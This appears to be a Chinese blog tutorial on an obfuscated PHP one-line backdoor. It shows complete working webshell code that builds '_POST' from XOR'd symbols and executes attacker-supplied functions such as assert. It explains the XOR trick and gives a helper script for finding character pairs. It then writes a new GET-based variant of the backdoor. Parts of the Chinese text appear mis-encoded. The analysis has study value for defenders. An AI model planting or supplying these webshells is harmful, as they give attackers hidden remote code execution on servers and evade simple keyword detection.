您好,登錄后才能下訂單哦!
神秘的一句話后門代碼內(nèi)容:
<?php @$_++; $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/"); ${$__}[!$_](${$__}[$_]); ?>
代碼作用:
以上代碼即是PHP的一句話后門,當(dāng)POST數(shù)據(jù)為0=assert&1=phpinfo();則會(huì)執(zhí)行assert('phpinfo()');
在FireFox下使用HackBar插件模擬發(fā)送POST請求的結(jié)果如下圖所示:
為什么說他神秘呢?因?yàn)槠婀值氖?,代碼里面沒有一個(gè)正常的代碼字符,卻能接收POST的數(shù)據(jù),并執(zhí)行系統(tǒng)函數(shù)。接下來,分析他是如何能夠執(zhí)行的。
格式化代碼,并打印結(jié)果:
<?php @$_++; //var_dump($_); 1 $__=("#"^"|"); //var_dump($__); _ $__.=("."^"~"); //var_dump($__); _P $__.=("/"^"`"); //var_dump($__); _PO $__.=("|"^"/"); //var_dump($__); _POS $__.=("{"^"/"); //var_dump($__); _POST ${$__}[!$_](${$__}[$_]); //即$_POST['0']($_POST['1']); ?>
由打印數(shù)據(jù)我們可以看到,其實(shí),代碼本身就是最后執(zhí)行了$_POST['0']($_POST['1']);而其中的_POST的每個(gè)字符都是由兩個(gè)符號進(jìn)行異或操作后拼接得到的。
那么問題來了,為什么異或后會(huì)得到_POST呢。這里就牽涉到PHP的字符串異或運(yùn)算。首先解釋下,什么叫異或操作。異或操作一般叫做按位異或。意思就是兩個(gè)二進(jìn)制數(shù),按位進(jìn)行運(yùn)算,同為0或1的結(jié)果為0,不相同的結(jié)果為1。比如10101100 ^ 11010010 = 01111110。而PHP的字符串異或運(yùn)算總共有下面5個(gè)步驟:
1.將需要進(jìn)行異或的兩個(gè)字符串都轉(zhuǎn)行成十進(jìn)制的asc2碼值; 2.將asc2碼值轉(zhuǎn)換成二進(jìn)制數(shù); 3.將轉(zhuǎn)換后的二進(jìn)制數(shù)進(jìn)行按位異或操作; 4.將異或后得到的二進(jìn)制數(shù)轉(zhuǎn)換成十進(jìn)制數(shù); 5.根據(jù)asc2碼表,將十進(jìn)制數(shù)轉(zhuǎn)換成字符串并返回. 至此,PHP的字符串異或操作完畢
于是,可以解釋,為什么最終會(huì)得到_POST字符串。比如下劃線_的獲得,就是先將#和|都轉(zhuǎn)行成十進(jìn)制的asc2碼值,35和124(在PHP中可以使用ord函數(shù)獲取到字符串對應(yīng)的asc2碼值),然后將35和124都轉(zhuǎn)換成二進(jìn)制數(shù)00100011和01111100然后按位異或得到01011111然后轉(zhuǎn)換成十進(jìn)制是95,然后得到由asc2碼表得到95對應(yīng)的字符串為_(在PHP中可以使用chr函數(shù)獲取到十進(jìn)制數(shù)對應(yīng)的asc2碼表的字符串)。
了解到PHP字符串異或運(yùn)算的原理,那么,其實(shí)我可以修改下此后門,改成由GET接收參數(shù)。
為了知道哪兩個(gè)單字符的異或運(yùn)算可以分別得到G或者E,做如下程序,打印一個(gè)列表,得到任意兩個(gè)單字符進(jìn)行異或的結(jié)果
<?php header("Content-type:text/html;charset=utf-8"); ?> <table width="50%" border="0" cellpadding="2" cellspacing="0"> <tr> <td>異或值A(chǔ)</td> <td>異或值B</td> <td>異或結(jié)果</td> </tr> <?php for( $i=0; $i<=127; $i++ ){ $array[] = chr( $i ); } ?> <?php for( $i=0; $i<=127; $i++ ){ ?> <?php $a = array_shift($array); ?> <?php foreach( $array as $v ){ ?> <tr> <td><?php echo $a; ?></td> <td><?php echo $v; ?></td> <td><?php echo $a ^ $v; ?></td> </tr> <?php } ?> <?php } ?> </table>
由如上的列表可以查到G可以由 ' ^ ` 得到,E可以由 8 ^ } 得到,于是如下的程序也可以作為一句話后門,并且參數(shù)是由GET傳遞:
<?php //GET方式 接收參數(shù) @$_++; $__=("#"^"|"); // _ $__.=("'"^"`"); // G $__.=("8"^"}"); // E $__.=("{"^"/"); // T ${$__}[!$_](${$__}[$_]); ?>
至此,神秘的一句話后門詳解完畢。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。